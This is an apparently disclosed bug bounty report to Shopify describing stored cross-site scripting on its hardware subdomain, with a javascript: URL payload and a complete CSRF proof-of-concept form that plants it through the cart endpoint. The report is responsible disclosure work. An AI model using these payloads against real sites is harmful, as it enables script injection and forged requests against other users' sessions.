Shopify · Report #106636
Strored Cross Site Scripting
Validstatus
$500bounty
4upvotes
13 Mar 2016disclosed
How it was found
Hello , There is a stored cross site scripting at http://hardware.shopify.com . I saw that you recently fixed a bug on this sub-domain , so I'm reporting this.
Video Proof of Concept : https://www.youtube.com/watch?v=cP66Bfb0IoE&feature=youtu.be
Payload used : javascript:alert(document.domain) //http://google.com/uploads/pwned.jpg
Here is a CSRF PoC also :
<html>
<!-- CSRF PoC -->
<body>
<form action="http://hardware.shopify.com/cart/add" method="POST" enctype="multipart/form-data">
<input type="hidden" name="properties[Artwork file]" value="javascript:alert("XSS by Hussein98d") //http://google.com/uploads/powned.jpg" />
<input type="hidden" name="properties[Custom text line 1]" value=" " />
<input type="hidden" name="properties[Custom text line 2]" value=" " />
<input type="hidden" name="properties[Custom text line 3]" value=" " />
<input type="hidden" name="production-time" value="standard" />
<input type="hidden" name="id" value="976094353" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Kind Regards Hussein